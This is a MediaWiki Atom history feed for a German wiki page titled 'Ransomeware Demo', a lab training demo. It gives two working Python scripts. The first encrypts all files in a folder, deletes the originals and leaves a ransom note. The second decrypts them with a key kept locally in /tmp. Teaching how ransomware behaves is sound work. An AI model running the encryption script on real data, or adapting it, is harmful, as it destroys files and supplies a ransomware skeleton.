<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://www.xinux.net/index.php?action=history&amp;feed=atom&amp;title=Ransomeware_Demo</id>
	<title>Ransomeware Demo - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://www.xinux.net/index.php?action=history&amp;feed=atom&amp;title=Ransomeware_Demo"/>
	<link rel="alternate" type="text/html" href="https://www.xinux.net/index.php?title=Ransomeware_Demo&amp;action=history"/>
	<updated>2026-09-11T13:27:36Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://www.xinux.net/index.php?title=Ransomeware_Demo&amp;diff=73387&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „= Ransomware-Demo =  Diese Demo zeigt den typischen Ablauf einer Ransomware-Infektion in einer isolierten Laborumgebung. Beide Skripte sind ausschließlich fü…“</title>
		<link rel="alternate" type="text/html" href="https://www.xinux.net/index.php?title=Ransomeware_Demo&amp;diff=73387&amp;oldid=prev"/>
		<updated>2026-09-10T17:34:10Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „= Ransomware-Demo =  Diese Demo zeigt den typischen Ablauf einer Ransomware-Infektion in einer isolierten Laborumgebung. Beide Skripte sind ausschließlich fü…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;= Ransomware-Demo =&lt;br /&gt;
&lt;br /&gt;
Diese Demo zeigt den typischen Ablauf einer Ransomware-Infektion in einer isolierten Laborumgebung. Beide Skripte sind ausschließlich für Schulungszwecke gedacht.&lt;br /&gt;
&lt;br /&gt;
== Vorbereitung ==&lt;br /&gt;
&lt;br /&gt;
Abhängigkeit installieren:&lt;br /&gt;
&lt;br /&gt;
 pip install cryptography&lt;br /&gt;
&lt;br /&gt;
Testdateien in einem separaten Ordner anlegen, z.B. &amp;lt;code&amp;gt;/home/opfer/dokumente&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
&lt;br /&gt;
# Angreifer verschlüsselt alle Dateien im Zielordner&lt;br /&gt;
# Jede Datei bekommt die Endung &amp;lt;code&amp;gt;.enc&amp;lt;/code&amp;gt;&lt;br /&gt;
# Der Schlüssel wird exfiltriert (hier: &amp;lt;code&amp;gt;/tmp/demo_key.key&amp;lt;/code&amp;gt;)&lt;br /&gt;
# Eine Lösegeldforderung (&amp;lt;code&amp;gt;LIES_MICH.txt&amp;lt;/code&amp;gt;) erscheint im Ordner&lt;br /&gt;
# Ohne den Key ist keine Wiederherstellung möglich&lt;br /&gt;
&lt;br /&gt;
== Skript 1: Verschlüsselung ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import sys, os&lt;br /&gt;
from cryptography.fernet import Fernet&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) &amp;lt; 2:&lt;br /&gt;
    print(f&amp;quot;Verwendung: {sys.argv[0]} &amp;lt;ordner&amp;gt;&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
TARGET_DIR = sys.argv[1]&lt;br /&gt;
KEY_FILE   = &amp;quot;/tmp/demo_key.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if not os.path.isdir(TARGET_DIR):&lt;br /&gt;
    print(f&amp;quot;Kein gültiger Ordner: {TARGET_DIR}&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
key = Fernet.generate_key()&lt;br /&gt;
with open(KEY_FILE, &amp;quot;wb&amp;quot;) as kf:&lt;br /&gt;
    kf.write(key)&lt;br /&gt;
&lt;br /&gt;
f = Fernet(key)&lt;br /&gt;
&lt;br /&gt;
for datei in os.listdir(TARGET_DIR):&lt;br /&gt;
    pfad = os.path.join(TARGET_DIR, datei)&lt;br /&gt;
    if os.path.isfile(pfad) and not datei.endswith(&amp;quot;.enc&amp;quot;) and datei != &amp;quot;LIES_MICH.txt&amp;quot;:&lt;br /&gt;
        daten = open(pfad, &amp;quot;rb&amp;quot;).read()&lt;br /&gt;
        open(pfad + &amp;quot;.enc&amp;quot;, &amp;quot;wb&amp;quot;).write(f.encrypt(daten))&lt;br /&gt;
        os.remove(pfad)&lt;br /&gt;
        print(f&amp;quot;  verschlüsselt: {datei}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
open(os.path.join(TARGET_DIR, &amp;quot;LIES_MICH.txt&amp;quot;), &amp;quot;w&amp;quot;).write(&lt;br /&gt;
    &amp;quot;IHRE DATEIEN WURDEN VERSCHLÜSSELT!\n[Demo]&amp;quot;&lt;br /&gt;
)&lt;br /&gt;
print(f&amp;quot;Fertig. Key: {KEY_FILE}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Aufruf:&lt;br /&gt;
&lt;br /&gt;
 python3 ransomware_demo.py /home/opfer/dokumente&lt;br /&gt;
&lt;br /&gt;
== Skript 2: Entschlüsselung ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import sys, os&lt;br /&gt;
from cryptography.fernet import Fernet&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) &amp;lt; 2:&lt;br /&gt;
    print(f&amp;quot;Verwendung: {sys.argv[0]} &amp;lt;ordner&amp;gt;&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
TARGET_DIR = sys.argv[1]&lt;br /&gt;
KEY_FILE   = &amp;quot;/tmp/demo_key.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if not os.path.isdir(TARGET_DIR):&lt;br /&gt;
    print(f&amp;quot;Kein gültiger Ordner: {TARGET_DIR}&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
if not os.path.isfile(KEY_FILE):&lt;br /&gt;
    print(f&amp;quot;Key nicht gefunden: {KEY_FILE}&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
with open(KEY_FILE, &amp;quot;rb&amp;quot;) as kf:&lt;br /&gt;
    key = kf.read()&lt;br /&gt;
&lt;br /&gt;
f = Fernet(key)&lt;br /&gt;
&lt;br /&gt;
for datei in os.listdir(TARGET_DIR):&lt;br /&gt;
    pfad = os.path.join(TARGET_DIR, datei)&lt;br /&gt;
    if os.path.isfile(pfad) and datei.endswith(&amp;quot;.enc&amp;quot;):&lt;br /&gt;
        daten = open(pfad, &amp;quot;rb&amp;quot;).read()&lt;br /&gt;
        original_name = pfad[:-4]&lt;br /&gt;
        open(original_name, &amp;quot;wb&amp;quot;).write(f.decrypt(daten))&lt;br /&gt;
        os.remove(pfad)&lt;br /&gt;
        print(f&amp;quot;  entschlüsselt: {datei} -&amp;gt; {os.path.basename(original_name)}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
lies_mich = os.path.join(TARGET_DIR, &amp;quot;LIES_MICH.txt&amp;quot;)&lt;br /&gt;
if os.path.isfile(lies_mich):&lt;br /&gt;
    os.remove(lies_mich)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;Fertig.&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Aufruf:&lt;br /&gt;
&lt;br /&gt;
 python3 decrypt_demo.py /home/opfer/dokumente&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>